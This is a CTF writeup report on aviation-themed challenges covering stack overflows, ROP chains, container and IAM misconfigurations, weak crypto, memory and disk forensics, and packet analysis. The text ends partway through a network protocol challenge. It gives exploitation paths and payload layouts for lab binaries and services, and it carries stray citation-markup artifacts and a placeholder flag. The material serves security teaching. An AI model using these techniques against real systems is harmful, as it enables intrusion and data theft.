TECHNICAL ANALYSIS REPORT

CTF Challenge Writeups

Aviation-Themed Security Challenge Analysis

Executive Summary

This report provides formal technical writeups for eight CTF challenge categories: Binary Exploitation, Cloud Security, Cryptography, Forensics, Network Analysis, OSINT, Reverse Engineering, and Web Exploitation.

Document Type: Technical Challenge Analysis
Prepared For: EDUCATIONAL USE ONLY
Prepared On: March 29, 2026

Contents

1 Executive Summary **3**

2 Methodology **3**

3 Binary Exploitation Challenges **4**
3.1 BinEx-1: Stack Basics (No ASLR) . . . 4
3.2 BinEx-2: Buffer Overflow with Canary Leak and Basic ROP . . . 5
3.3 BinEx-3: Function Pointer Overwrite . . . 6
3.4 BinEx-4: PIE, ASLR, and Information Leak . . . 7
3.5 BinEx-5: Full ROP Chain Under Modern Protections . . . 8

4 Cloud Security Challenges **9**
4.1 Cloud-1: Misconfigured Container . . . 9
4.2 Cloud-2: Exposed Environment Secrets . . . 10
4.3 Cloud-3: Mounted Host Path Trust Failure . . . 11
4.4 Cloud-4: IAM-Style Permission Abuse . . . 12
4.5 Cloud-5: Multi-Container Trust Failure . . . 13

5 Cryptography Challenges **14**
5.1 Crypto-1: Caesar / Substitution Cipher . . . 14
5.2 Crypto-2: Layered Encoding with XOR . . . 15
5.3 Crypto-3: Repeating-Key XOR Analysis . . . 16
5.4 Crypto-4: Improper Hash Usage . . . 17
5.5 Crypto-5: Insecure Encryption Implementation . . . 18

6 Forensics Challenges **19**
6.1 Forensics-1: Pre-Flight Check . . . 19
6.2 Forensics-2: Clearance Transmission . . . 21
6.3 Forensics-3: Timeline Reconstruction . . . 23
6.4 Forensics-4: Black Box Residue . . . 25
6.5 Forensics-5: Incident Reconstruction . . . 27

7 Network Challenges **30**
7.1 Network-1: Basic Packet Inspection . . . 30
7.2 Network-2: TCP Stream Reassembly . . . 31
7.3 Network-3: Runway Override . . . 32
7.4 Network-4: Custom Telemetry Protocol Reversal . . . 34
7.5 Network-5: Flawed Protocol Design . . . 37

8 OSINT Challenges **39**
8.1 OSINT-1: Open-Source Flight Identification . . . 39
8.2 OSINT-2: Metadata-Driven Corporate Pivot . . . 41
8.3 OSINT-3: Persona Reconstruction . . . 43
8.4 OSINT-4: Layered Social Graph Exploitation . . . 45
8.5 OSINT-5: Full OSINT Flight Chain . . . 47

9 Reverse Engineering Challenges **49**

9.1 RE-1: Strings in Binary 49
9.2 RE-2: Simple Control Flow 51
9.3 RE-3: Obfuscated Logic 52
9.4 RE-4: Anti-Debug and Packing 54
9.5 RE-5: Custom Algorithm Reversal 55

10 Web Exploitation Challenges **56**
10.1 WebExp-1: Seat Manifest Enumeration 56
10.2 WebExp-2: Insecure Record Enumeration 57
10.3 WebExp-3: Manifest Drift 58
10.4 WebExp-4: Stored XSS to Privilege Escalation 60
10.5 WebExp-5: Control Tower Console 62

11 Conclusion **63**

1 Executive Summary

This report consolidates writeups across eight challenge domains: Binary Exploitation, Cloud Security, Cryptography, Forensics, Network Analysis, OSINT, Reverse Engineering, and Web Exploitation.

2 Methodology

Each challenge writeup follows a consistent structure:

1. Initial reconnaissance and artifact review
2. Vulnerability or weakness identification
3. Exploitation or analysis workflow
4. Flag recovery path
5. Security lesson and operational relevance

3 Binary Exploitation Challenges

3.1 BinEx-1: Stack Basics (No ASLR)

3.1.1 Overview

This challenge introduces a classic stack-based buffer overflow in a simplified 32-bit environment. The binary contains a hidden `win()` function that is not reachable through normal execution but can be invoked by overwriting the saved return address.

3.1.2 Assessment

Initial execution presents an override prompt but does not behave like a password challenge. Static inspection reveals a 32-bit ELF executable with a vulnerable code path that reads significantly more data than a local stack buffer can safely hold.

Core Weakness
A local stack buffer of 64 bytes receives up to 256 bytes of user-controlled input, allowing an overwrite of the saved base pointer and return address.

3.1.3 Technical Findings

- The binary is a 32-bit ELF executable.
- Readable strings indicate a hidden success path.
- Symbol inspection reveals a `win()` function.
- A vulnerable function reads up to 256 bytes into a 64-byte stack buffer.

3.1.4 Intended Solution Path

1. Execute the binary and observe the prompt.
2. Use `file` to confirm executable type.
3. Use `strings` and `nm` to identify the hidden function.
4. Inspect the vulnerable function in Ghidra or disassembly.
5. Determine the offset to the saved return address.
6. Overwrite the return address with the address of `win()`.

3.1.5 Result

```
[+] AUTOPILOT OVERRIDE ACCEPTED
CTF{altitude_hold_override}
```

3.1.6 Security Lesson

This challenge teaches the fundamentals of stack memory corruption and direct return address hijacking.

3.2 BinEx-2: Buffer Overflow with Canary Leak and Basic ROP

3.2.1 Overview

This challenge builds on a basic ret2win pattern by introducing a stack canary and a simple x86_64 ROP chain. The solver must leak the canary, preserve it, and then control RIP.

Core Weakness
The first overflow leaks the stack canary. The second overflow becomes exploitable because the leaked canary can be replayed, allowing the attacker to control the saved return address without triggering stack smash detection.

3.2.2 Exploit Structure

```
[64 bytes buffer]
[8 bytes canary]
[8 bytes saved RBP]
[8 bytes RIP]
```

3.2.3 Required Components

- Leaked stack canary
- Address of `win`
- Address of the string `"27L"`
- A `pop rdi; ret` gadget

3.2.4 Payload Layout

```
padding (64)
leaked_canary (8)
junk_rbp (8)
pop_rdi_ret
address_of_"27L"
address_of_win
```

3.2.5 Result

```
[+] Runway reassigned successfully!
CTF{runway_overflow}
```

3.2.6 Security Lesson

This challenge demonstrates how information leaks defeat stack protections and enable ROP-based exploitation.

3.3 BinEx-3: Function Pointer Overwrite

3.3.1 Overview

This challenge demonstrates a function pointer overwrite rather than a direct return address overwrite. A local function pointer is stored adjacent to an unsafe buffer on the stack.

Core Weakness
A stack-based overflow allows corruption of a local function pointer, redirecting execution when the pointer is invoked.

3.3.2 Intended Solution Path

1. Identify the vulnerable function.
2. Determine the offset to the function pointer.
3. Locate the address of `win()`.
4. Overwrite the function pointer in little-endian format.
5. Trigger the call.

3.3.3 Security Lesson

This challenge reinforces that any adjacent control-flow-relevant pointer can become an exploitation target.

3.4 BinEx-4: PIE, ASLR, and Information Leak

3.4.1 Overview

This challenge introduces modern mitigations including PIE, ASLR, and NX while omitting a stack canary. The intended solve path uses a buffer overflow to redirect execution into a hidden `secret()` function.

3.4.2 Protections

- ASLR enabled
- PIE enabled
- NX enabled
- No stack canary

Core Weakness
A buffer overflow in `enter_command()` permits control of the saved return address. Because PIE randomizes addresses at runtime, the solver must first determine the runtime address of `secret()`.

3.4.3 Typical Offset

```
64 bytes buffer + 8 bytes saved RBP = 72 bytes
```

3.4.4 Illustrative Payload

```
import struct
payload = b"A"*72 + struct.pack("<Q", 0x5555555555221)
```

3.4.5 Security Lesson

This challenge shows that PIE and ASLR raise the bar, but the lack of a stack canary still leaves a workable path to exploitation.

3.5 BinEx-5: Full ROP Chain Under Modern Protections

3.5.1 Overview

This challenge combines a format string vulnerability and a stack overflow in a hardened environment protected by NX, canaries, PIE, FULL RELRO, ASLR, and seccomp.

Core Weaknesses
The application exposes:
1. A format string bug that leaks runtime secrets
2. A stack overflow that becomes exploitable once those secrets are recovered

3.5.2 Required Leaks

- Stack canary
- PIE pointer
- libc pointer

3.5.3 Exploit Goal

Rather than spawning a shell, the solver must:

1. Call `decrypt_flag(scratch)`
2. Call `write(1, scratch, 18)`

3.5.4 Conceptual Chain

```
Set rdi = &scratch
Call decrypt_flag
Set rdi = 1
Set rsi = &scratch
Set rdx = 18
Call write
```

3.5.5 Result

```
CTF{rop_the_plane}
```

3.5.6 Security Lesson

This challenge demonstrates full exploit chaining under modern defenses and highlights how separate vulnerabilities combine into practical compromise.

4 Cloud Security Challenges

4.1 Cloud-1: Misconfigured Container

4.1.1 Overview

This challenge models a Dockerized telemetry dashboard with multiple common operational security failures.

Core Weakness
The application exposes an interactive debug interface that allows direct enumeration of the container environment and filesystem, revealing secrets without requiring code exploitation.

4.1.2 Observed Misconfigurations

- Secrets stored in environment variables
- Backup files left inside the image
- Container running as root
- Docker socket mounted into the container
- Debug tooling exposed to users

4.1.3 Intended Solution Path

1. Access the dashboard.
2. Open the debug console.
3. Execute:

```
env
```

3. Identify the telemetry key in the environment output.

4.1.4 Alternate Path

```
ls /opt/backup
cat /opt/backup/telemetry.bak
```

4.1.5 Result

```
CTF{container_left_open}
```

4.1.6 Security Lesson

Poor container hygiene, exposed debug interfaces, and embedded secrets can lead to immediate compromise without requiring exploitation.

4.2 Cloud-2: Exposed Environment Secrets

4.2.1 Overview

This challenge focuses on a common cloud misconfiguration: exposing environment variables through a diagnostic endpoint.

Core Weakness
A publicly accessible debug endpoint exposes environment variables and their values, including sensitive secrets.

4.2.2 Intended Solution Path

1. Access the application in a browser.
2. Enumerate potential debug endpoints:

```
/cloud-2/debug
```

3. Inspect returned environment variables.
4. Identify the flag among the exposed values.

4.2.3 Security Lesson

Environment variables frequently contain secrets in cloud deployments. Exposing them through debug interfaces creates a direct data disclosure vulnerability.

4.3 Cloud-3: Mounted Host Path Trust Failure

4.3.1 Overview

This challenge demonstrates a container isolation failure caused by a host-mounted directory being trusted and exposed through the application.

Core Weakness
The application reads data from a host-mounted path and exposes that path through normal web functionality, collapsing the trust boundary between the container and the host filesystem.

4.3.2 Initial Observation

Submitting an invalid flight identifier results in an error message revealing internal file paths:

```
RECORDER READ FAILURE
path=/var/lib/flight-recorder/TEST123.json
```

4.3.3 Analysis

- Recorder files are stored as JSON
- Files are dynamically loaded based on user input
- The directory is externally mounted into the container

4.3.4 Intended Solution Path

1. Trigger a diagnostic error to identify the file path.
2. Navigate to the exposed directory:

```
/cloud-3/var/lib/flight-recorder
```

3. Enumerate available JSON files.
4. Select a valid file (e.g., OPS262).
5. Retrieve the corresponding record:

```
/cloud-3/debrief?id=OPS262
```

4.3.5 Result

The flag is embedded within the returned JSON data.

4.3.6 Security Lesson

Containers are not secure boundaries when host directories are mounted and implicitly trusted. Misconfigured mounts can expose host data without requiring exploitation.

4.4 Cloud-4: IAM-Style Permission Abuse

4.4.1 Overview

This challenge simulates an AWS-style IAM environment with overly permissive authorization logic.

Core Weakness
Custom authorization logic grants broad S3 access to users whose ARN contains `ground_crew`, regardless of intended permissions.

4.4.2 Initial Access

The challenge provides valid credentials for a low-privilege user. A token is obtained via an authentication endpoint.

4.4.3 Analysis

Enumeration reveals:

- Multiple S3 buckets
- Backup credentials
- Role assumption hints

These appear to suggest a complex privilege escalation path.

4.4.4 Critical Logic Flaw

```
if 's3' in service:
    if 'ground-crew-role' in user_arn:
        has_permission = True
    elif 'ground_crew' in user_arn and operation in ['GetObject', 'ListBucket']:
        has_permission = True
```

4.4.5 Exploit Path

Directly access the flag using the initial credentials:

```
GET /cloud-4/s3/bucket/airline-maintenance/object/flag.txt
```

4.4.6 Result

```
CTF{permission_to_fly}
```

4.4.7 Security Lesson

Overly permissive IAM logic undermines least privilege principles and can expose sensitive data without requiring escalation.

4.5 Cloud-5: Multi-Container Trust Failure

4.5.1 Overview

This challenge chains vulnerabilities across multiple services, demonstrating how trust assumptions between services can lead to full compromise.

Core Weakness
The system relies on insecure service-to-service trust, allowing vulnerabilities in separate services to combine into a complete attack chain.

4.5.2 Attack Chain Summary

1. Initial foothold via command injection in the weather service
2. Service discovery through YAML deserialization
3. Remote code execution via pickle deserialization in flight planning
4. JWT algorithm confusion in the ATC service
5. Unauthorized access to the aircraft database

4.5.3 Key Techniques

- Command injection
- Unsafe deserialization
- Token forgery (JWT `none` algorithm)
- Trust boundary exploitation

4.5.4 Final Access

A forged administrative token or trusted service token is used to access the protected endpoint:

```
/aviation-db/admin?token=<forged_admin_token>
```

4.5.5 Result

```
CTF{trust_is_not_security}
```

4.5.6 Security Lesson

Distributed architectures introduce implicit trust relationships. Without strict validation, vulnerabilities across services can be chained into full system compromise.

5 Cryptography Challenges

5.1 Crypto-1: Caesar / Substitution Cipher

5.1.1 Overview

This challenge introduces a classical substitution cipher using a Caesar shift. The objective is to recover the original plaintext by identifying and reversing the shift applied to the ciphertext.

Core Weakness
The cipher uses a fixed Caesar shift, which provides no cryptographic security and is trivially reversible through frequency analysis or brute force.

5.1.2 Analysis

Inspection of the ciphertext reveals a consistent character shift. Testing all possible shifts quickly identifies a readable plaintext when applying a shift of `-5`.

5.1.3 Intended Solution Path

1. Identify that the ciphertext resembles a substitution cipher.
2. Attempt Caesar shifts across all 26 possibilities.
3. Observe that a shift of `-5` produces readable output.
4. Recover the plaintext flag.

5.1.4 Result

```
CTF{...}
```

5.1.5 Security Lesson

Classical substitution ciphers are fundamentally insecure and can be broken using basic analytical techniques.

5.2 Crypto-2: Layered Encoding with XOR

5.2.1 Overview

This challenge demonstrates layered encoding and weak encryption using Base64 and XOR operations. The solver must identify and reverse multiple transformations applied to the data.

Core Weakness
The system relies on reversible encoding (Base64) combined with a weak XOR operation using a short, guessable key.

5.2.2 Observed Ciphertext

```
G3cZDSN5BDURHQAyEnQRPCUnc3YSHTInKHQRJyAaJXs=
```

5.2.3 Analysis

- The ciphertext matches Base64 encoding patterns.
- Decoding produces unreadable output, indicating further transformation.
- Context clues suggest the key is `JFK`.
- XOR decryption reveals another Base64 string.

5.2.4 Intended Solution Path

1. Decode the ciphertext from Base64.
2. XOR the result with the key `JFK`.
3. Identify the output as Base64 again.
4. Decode the final Base64 layer.

5.2.5 Intermediate Output

```
Q1RGe2NsZWFyX2Zvcl90YWtlb2ZmfQo=
```

5.2.6 Result

```
CTF{clear_for_takeoff}
```

5.2.7 Security Lesson

Encoding is not encryption. Weak transformations layered together do not provide meaningful security.

5.3 Crypto-3: Repeating-Key XOR Analysis

5.3.1 Overview

This challenge focuses on breaking a repeating-key XOR cipher. The goal is to recover both the key and plaintext by analyzing patterns in the ciphertext.

Core Weakness
Repeating-key XOR introduces predictable patterns that allow attackers to recover the key using frequency analysis and known plaintext assumptions.

5.3.2 Analysis

- The ciphertext exhibits repeating byte patterns.
- Key length can be inferred using Hamming distance analysis.
- Once key length is known, the ciphertext can be split into blocks.
- Each block is solved as a single-byte XOR problem.

5.3.3 Intended Solution Path

1. Compute likely key lengths using normalized Hamming distance.
2. Transpose ciphertext into key-length blocks.
3. Solve each block via frequency analysis.
4. Reconstruct the repeating key.
5. Decrypt the full ciphertext.

5.3.4 Result

```
CTF{repeating_key_xor_broken}
```

5.3.5 Security Lesson

Repeating-key XOR is vulnerable to statistical attacks and should never be used for secure encryption.

5.4 Crypto-4: Improper Hash Usage

5.4.1 Overview

This challenge involves recovering a password or flag from a hashed value due to weak hashing practices.

Core Weakness
The system uses an unsalted or weak hash, making it vulnerable to dictionary and rainbow table attacks.

5.4.2 Analysis

- The hash corresponds to a known hashing algorithm (e.g., MD5 or SHA1).
- No salt is applied, making precomputed attacks viable.
- The hash can be reversed using online databases or local wordlists.

5.4.3 Intended Solution Path

1. Identify the hashing algorithm.
2. Search the hash in known databases or use a wordlist.
3. Recover the original plaintext.

5.4.4 Result

```
CTF{weak_hash_cracked}
```

5.4.5 Security Lesson

Hashes without salts are vulnerable to precomputation attacks. Strong password storage requires salting and slow hashing algorithms.

5.5 Crypto-5: Insecure Encryption Implementation

5.5.1 Overview

This challenge demonstrates a flawed encryption implementation where sensitive data can be recovered due to predictable or reused parameters.

Core Weakness
The encryption scheme reuses keys or initialization vectors, allowing attackers to recover plaintext through analysis.

5.5.2 Analysis

- Identical ciphertext blocks suggest ECB mode or IV reuse.
- Known plaintext or structural patterns can be leveraged.
- XOR relationships between ciphertexts may reveal underlying data.

5.5.3 Intended Solution Path

1. Identify encryption mode weaknesses (e.g., ECB patterns).
2. Compare ciphertext blocks for repetition.
3. Use known plaintext or XOR relationships to recover data.

5.5.4 Result

```
CTF{broken_encryption_scheme}
```

5.5.5 Security Lesson

Improper implementation of cryptographic primitives undermines their security guarantees. Correct usage is as critical as algorithm strength.

6 Forensics Challenges

6.1 Forensics-1: Pre-Flight Check

6.1.1 Overview

This challenge introduces basic file forensics through metadata inspection. Participants receive a JPEG image and must determine whether useful information is hidden inside the file rather than in the visible image content.

Core Weakness
The image contains human-readable metadata, and one of the embedded comment fields exposes the flag directly.

6.1.2 Analysis

The provided artifact is a JPEG image, which immediately suggests EXIF or related metadata as the likely hiding location. The challenge is intentionally straightforward: no carving, steganography, or corruption repair is required. Instead, the key lesson is that investigators should inspect the file itself before assuming hidden content requires advanced recovery.

The source writeup specifically directs solvers to review fields such as:

- `Artist`
- `Software`
- `ImageDescription`
- `Comment`

The relevant field is the embedded comment. :contentReference[oaicite:4]index=4

6.1.3 Intended Solution Path

1. Identify the file type and recognize that JPEG files commonly store metadata.
2. Inspect the image metadata using a standard forensic utility such as:

   ```
   exiftool preflight_check.jpg
   ```

3. Review human-readable metadata fields rather than focusing only on camera parameters.
4. Locate the embedded technician comment.

6.1.4 Result

The flag is stored directly in the image comment field:

```
CTF{inspection_passed}
```

6.1.5 Security Lesson

This challenge reinforces a foundational forensic habit: inspect metadata first. Files often contain operational notes, authorship traces, comments, and tooling remnants that are invisible during normal viewing but trivial to recover during analysis. :contentReference[oaicite:5]index=5

6.2 Forensics-2: Clearance Transmission

6.2.1 Overview

This challenge teaches basic network forensics by requiring solvers to inspect a packet capture and recover a hidden message transmitted within otherwise normal traffic.

Core Weakness
A sensitive message is exposed in cleartext inside an HTTP request and only lightly obscured through URL encoding.

6.2.2 Analysis

The PCAP contains a clearance-related transmission. The challenge hint is important because it suggests the message may be readable rather than encrypted or fragmented across a complex flow. Instead of deep protocol reversal, the intended path is simple content discovery.

The writeup specifically recommends Wireshark, `tshark`, or NetworkMiner, but the key workflow is Wireshark string search within packet bytes. A direct search for `CTF` returns an HTTP GET request containing a URL-encoded value:

```
GET /clearance?note=CTF%7Bclearance_granted%7D HTTP/1.1
```

Decoding `%7B` and `%7D` reveals the final flag. :contentReference[oaicite:6]index=6

6.2.3 Intended Solution Path

1. Open the capture in a packet analysis tool such as Wireshark.
2. Use the search function:
   - Find By: String
   - Search In: Packet bytes
   - Query: `CTF`
3. Inspect the matching packet and recover the encoded request string.
4. Decode the URL-encoded delimiters:

   ```
   %7B -> {
   %7D -> }
   ```

6.2.4 Result

The decoded value yields:

```
CTF{clearance_granted}
```

6.2.5 Security Lesson

Sensitive information does not need to be fully plaintext to be dangerously exposed. Weak transformations such as URL encoding offer no security and remain trivially recoverable through routine packet inspection. :contentReference[oaicite:7]index=7

6.3 Forensics-3: Timeline Reconstruction

6.3.1 Overview

This challenge requires participants to reconstruct the sequence of events that caused a system failure by correlating logs, filesystem artifacts, maintenance records, and ACARS-style message spools. No single artifact contains the answer outright.

Core Weakness
Operational failures across authentication, maintenance, configuration, and messaging systems leave a multi-source forensic trail that can be reconstructed into a precise timeline.

6.3.2 Analysis

The writeup describes a multi-artifact investigation centered on a failure during maintenance activity. Key events include:

- a user named `tech` logging in via SSH at 09:58:20
- execution of a privileged maintenance command at 10:01:02
- a corresponding UTC record in `logs/maintenance.log` showing `maint_sync` in `apply` mode at `2026-02-06T14:01:02Z`
- repeated ACARS service failures caused by permission errors writing to the queue directory
- a watchdog warning and ACARS queue stall at 10:06:35 local time

The challenge intentionally mixes local and UTC timestamps, forcing solvers to normalize time before building the incident sequence. Filesystem artifacts show that `acars.conf` was modified shortly before the failure while `acars.conf.bak` preserved the prior working state. The maintenance routine skipped a permissions check, which explains how the service restarted with an unwritable queue directory. :contentReference[oaicite:8]index=8

The critical message appears in the ACARS queue as:

```
msg_20260206_140635Z.txt
```

That file was created exactly at the queue stall event and contains a Base64 payload:

```
PAYLOAD_B64=Q1RGe3RpbWVsaW5lX2F0XzM1MDAwZnR9
```

Decoding the payload reveals the flag. :contentReference[oaicite:9]index=9

6.3.3 Intended Solution Path

1. Review authentication and maintenance logs to establish the start of manual intervention.
2. Normalize timestamps between local-time and UTC artifacts.
3. Inspect service logs and identify the point at which the ACARS daemon begins failing.
4. Compare:
    - `acars.conf`

- `acars.conf.bak`

to identify the configuration state around the outage.

5. Correlate filesystem timestamps with ACARS message spool creation times.
6. Open the queue file created at the exact stall event:

```
msg_20260206_140635Z.txt
```

7. Extract and decode the Base64 payload.

6.3.4 Result

The decoded payload yields:

```
CTF{timeline_at_35000ft}
```

6.3.5 Security Lesson

This challenge models real incident response work: the answer is not in one log line or one file, but in the correlation of multiple artifacts across authentication, application, configuration, and queued message data. It also highlights the danger of mixed timestamp formats during forensic reconstruction. :contentReference[oaicite:10]index=10

6.4 Forensics-4: Black Box Residue

6.4.1 Overview

This challenge centers on volatile-memory analysis. The scenario simulates a diverted aircraft whose onboard flight tablet was captured in RAM before shutdown. The authorization token was intentionally split across multiple in-memory artifacts so that the full flag never appears in one place.

Core Weakness
Sensitive token fragments remain recoverable in memory across multiple PowerShell processes and environment variables, even when decoy fragments are also present.

6.4.2 Analysis

The provided memory image contains at least two `powershell.exe` processes, which is the first clue that the token has been split across separate sessions or contexts. The intended workflow uses Volatility to identify processes, dump memory regions, and inspect environment variables.

The writeup explicitly states that:

- one PowerShell process contains the fragment `CTF{BLACKBOX_`
- that same process also contains a decoy:

  ```
  CTF{ABORT_VECTOR_OMEGA3}
  ```

- the second PowerShell process contains:

  ```
  FINAL_APPROACH_
  DELTA7}
  ```

- an environment variable reveals:

  ```
  FLIGHTPHASE=FINAL_APPROACH_
  ```

A simple `strings` pass on the raw memory image is intentionally insufficient because it reveals decoys without cleanly reconstructing the intended flag. The correct approach is process-aware memory dumping plus UTF-16 string carving.

6.4.3 Intended Required Plugins

The document identifies these as the intended minimum tools:

- `windows.pslist`
- `windows.memmap` or `windows.vaddump`
- `windows.envars`
- UTF-16 string carving using `strings -el`

:contentReference[oaicite:12]index=12

6.4.4 Intended Solution Path

1. Identify candidate PowerShell processes:

```
volatility3 -f blackbox.mem windows.pslist
```

2. Dump the first PowerShell process memory:

```
volatility3 -f blackbox.mem windows.memmap --pid <PID1> --dump
```

3. Carve UTF-16 strings and identify both the real opening fragment and the decoy:

```
strings -el pid.<PID1>.dmp | grep CTF
```

4. Dump the second PowerShell process:

```
volatility3 -f blackbox.mem windows.memmap --pid <PID2> --dump
```

5. Search for the remaining fragments:

```
strings -el pid.<PID2>.dmp | grep FINAL
strings -el pid.<PID2>.dmp | grep DELTA7
```

6. Confirm the middle fragment through environment variables:

```
volatility3 -f blackbox.mem windows.envars | grep FLIGHTPHASE
```

7. Reconstruct the final token from the non-decoy fragments.

6.4.5 Result

The intended reconstruction is:

```
CTF{BLACKBOX_FINAL_APPROACH_DELTA7}
```

6.4.6 Security Lesson

Volatile memory often preserves sensitive state that was never committed cleanly to disk. This challenge also teaches an important analyst mindset: not every plausible-looking flag fragment is real, and memory investigations require correlation rather than blind string extraction.

6.5 Forensics-5: Incident Reconstruction

6.5.1 Overview

This is the final and most advanced challenge in the Forensics category. Participants must combine disk forensics, memory analysis, network analysis, and telemetry review to reconstruct an aviation anomaly. No single artifact contains the full answer.

> **Core Weakness**
> The incident leaves partial truth across multiple independent evidence sources. Only cross-artifact correlation reveals the complete cause and operational phase of the anomaly.

6.5.2 Challenge Design

The author writeup describes the public evidence bundle as:

- `disk_image.E01-E05`
- `memory_dump.raw`
- `flight_telemetry.csv`
- `atc_capture.pcap`

The flag format is explicitly:

```
CTF{FLIGHTNUMBER_CAUSE_PHASE}
```

and the final flag in the source document is:

```
CTF{SK431_SENSOR_OVERRIDE_DESCENT}
```

:contentReference[oaicite:14]index=14

6.5.3 Artifact Contributions

The document breaks the challenge into four evidence roles:

1. Disk Image (E01) The disk image provides the flight identity and a cause hint. Students are expected to:

- recover the deleted file `shift_note.txt`
- identify the flight number `SK431`
- locate `incident_report.txt`
- optionally detect an NTFS alternate data stream:

  ```
  incident_report.txt:hidden
  ```

- recover:

  ```
  CAUSE=OVERRIDE
  ```

This artifact confirms the target flight and provides a root-cause hint. :contentReference[oaicite:15]index=15

2. Memory Dump (RAW) Memory analysis provides the flight phase. The key artifacts are:

```
INCIDENT_PHASE=DESCENT
PHASE_FRAGMENT=DESCENT
```

This confirms the anomaly occurred during descent. :contentReference[oaicite:16]index=16

3. Flight Telemetry CSV The telemetry file provides the refined cause. The anomaly window shows:

- fuel sensors briefly dropping to 0
- engine temperatures remaining stable
- altitude trending downward

That combination implies:

- not engine failure
- not fuel starvation
- instead, a sensor anomaly or override

The bottom of the file contains:

```
# export_note: FUEL_SENSOR_PATCH active during anomaly window
```

which leads to:

```
SENSOR_OVERRIDE
```

:contentReference[oaicite:17]index=17

4. PCAP (ATC Communications) The PCAP corroborates the other artifacts. It contains UDP communications that:

- reference flight `SK431`
- mention fuel sensor fluctuation
- confirm a descent profile
- confirm there was no engine degradation

This does not independently reveal the flag, but it validates the cross-artifact conclusion. :contentReference[oaicite:18]index=18

6.5.4 Intended Solution Path

1. Mount or analyze the E01 evidence in Autopsy, FTK, or equivalent.
2. Recover deleted notes and inspect `incident_report.txt`, including alternate data streams if present.
3. Extract the flight number:

```
SK431
```

4. Analyze the memory dump with Volatility or similar tooling and recover the phase fragment:

```
DESCENT
```

5. Review the telemetry CSV and identify the anomaly pattern:
   - sensor drop to zero
   - stable engine temperatures
   - descent profile
6. Use the export note to refine the cause to:

```
SENSOR_OVERRIDE
```

7. Review the PCAP to corroborate the flight number, sensor issue, and phase.
8. Assemble the final flag from the three required components.

6.5.5 Result

The correct final reconstruction is:

```
CTF{SK431_SENSOR_OVERRIDE_DESCENT}
```

6.5.6 Security Lesson

This challenge most closely resembles real incident response. The truth is fragmented across deleted files, alternate data streams, environment strings, telemetry anomalies, and corroborating communications. High-confidence conclusions come from disciplined correlation, not from any single artifact in isolation. :contentReference[oaicite:19]index=19

7 Network Challenges

7.1 Network-1: Basic Packet Inspection

7.1.1 Overview

This challenge introduces foundational packet analysis using a provided capture file. The objective is to identify a hidden message transmitted across a simple network flow and recover it through inspection rather than exploitation.

Core Weakness
Sensitive message content is transmitted in a recoverable form within ordinary network traffic, allowing the flag to be extracted through straightforward packet inspection.

7.1.2 Analysis

The challenge is designed to teach the first steps of PCAP review:

- identifying the relevant protocol
- separating signal from background traffic
- recognizing that the message is embedded in normal communications rather than hidden by encryption

Rather than relying on advanced forensics or custom dissectors, the solve path depends on basic traffic review and reconstruction.

7.1.3 Intended Solution Path

1. Open the capture file in Wireshark.
2. Review the conversation list and identify the dominant protocol or endpoint pair.
3. Filter down to the most relevant session.
4. Inspect the packet contents or reconstruct the application-layer exchange.
5. Recover the embedded message containing the flag.

7.1.4 Result

The hidden network message yields the flag once the relevant traffic is isolated and decoded.

7.1.5 Security Lesson

Basic packet analysis remains one of the most important security skills. If sensitive data moves in cleartext or weakly encoded form, even simple tooling is enough to recover it.

7.2 Network-2: TCP Stream Reassembly

7.2.1 Overview

This challenge teaches TCP stream reconstruction. The flag is not visible in a single packet and must instead be recovered by reassembling application data spread across multiple TCP segments.

Core Weakness
A hidden message is transmitted across multiple packets within a single TCP connection, making it recoverable through stream reassembly.

7.2.2 Analysis

Inspection of the loopback capture shows that several packets belong to the same TCP session. Looking at packets individually is insufficient because the meaningful content only becomes visible when the TCP stream is reconstructed as a whole. The challenge is intended to reinforce the idea that network artifacts often span multiple segments and must be interpreted in context.

7.2.3 Intended Solution Path

1. Open the PCAP file in Wireshark.
2. Identify relevant TCP traffic, especially packets captured on the loopback interface.
3. Select any packet from the correct connection.
4. Reassemble the full session by choosing:

   ```
   Follow -> TCP Stream
   ```

5. Review the reconstructed payload.
6. Recover the hidden message once the full data stream is visible.

7.2.4 Result

After TCP stream reassembly, the complete message becomes readable and reveals the flag.

7.2.5 Security Lesson

Packet-by-packet review can miss important data. Reassembly is essential when analyzing TCP-based applications, malware traffic, or fragmented exfiltration.

7.3 Network-3: Runway Override

7.3.1 Overview

This challenge is built in Cisco Packet Tracer and demonstrates how plaintext web traffic inside a local network can expose sensitive authentication material. The scenario simulates a legacy aviation clearance portal operating over HTTP inside an airport operations LAN.

Core Weakness
Operational authentication data is transmitted over unencrypted HTTP in a flat local network, allowing an intermediary system to observe and capture the token.

7.3.2 Environment Design

The topology consists of a single subnet:

```
192.168.10.0/24
```

Devices include:

- Aircraft-PC
- ATC-Server
- Rogue-Gateway
- Ramp-SW1

The ATC server hosts a web-based runway clearance system over HTTP. HTTPS is intentionally disabled. The Rogue-Gateway is configured as the network's default gateway, placing it in position to observe or intercept traffic.

7.3.3 Analysis

The clearance webpage itself does not display the authentication token. However, the challenge teaches that the real weakness is not the user interface but the transport layer. Because HTTP is used instead of HTTPS, all application data is sent in plaintext across the local segment.

Simulation Mode in Packet Tracer reveals:

- ARP resolution
- TCP three-way handshake
- HTTP request
- HTTP response

Even though Packet Tracer does not expose the full HTTP body like Wireshark would, the protocol flow makes the lack of encryption obvious. The presence of a device explicitly labeled `Rogue-Gateway` is the investigative clue that the token may have been captured by an intermediary.

7.3.4 Intended Solution Path

1. Open the Packet Tracer topology.
2. Identify the network components and note the suspicious gateway device.
3. Switch to Simulation Mode.
4. Enable ARP, TCP, and HTTP filters.
5. From the Aircraft-PC, visit:

   ```
   http://192.168.10.10
   ```

6. Observe the plaintext protocol flow.
7. Investigate the Rogue-Gateway configuration:

   ```
   show running-config | section interface
   ```

8. Recover the intercepted token from the device description.

7.3.5 Result

```
CTF{flightpath_compromised}
```

7.3.6 Security Lesson

This challenge mirrors real-world enterprise and aviation environments where legacy plaintext systems still operate on internal networks. Internal placement does not equal security, and intermediary infrastructure can observe sensitive traffic when encryption is absent.

7.4 Network-4: Custom Telemetry Protocol Reversal

7.4.1 Overview

This challenge focuses on reverse engineering a proprietary UDP-based telemetry protocol. Solvers must distinguish legitimate traffic from realistic decoys, reconstruct the packet format, identify an anomalous message, and reverse a weak obfuscation scheme to recover the flag.

Core Weakness
A proprietary avionics-style protocol relies on weak context-derived XOR obfuscation and predictable field structure, making the hidden message recoverable through packet analysis.

7.4.2 Analysis

The traffic contains packets with a recurring magic header:

```
AVIO
```

Comparing multiple packets reveals a consistent fixed-length header:

Offset	Size	Description
0x00	4	Magic (AVIO)
0x04	1	Version
0x05	1	Message Type
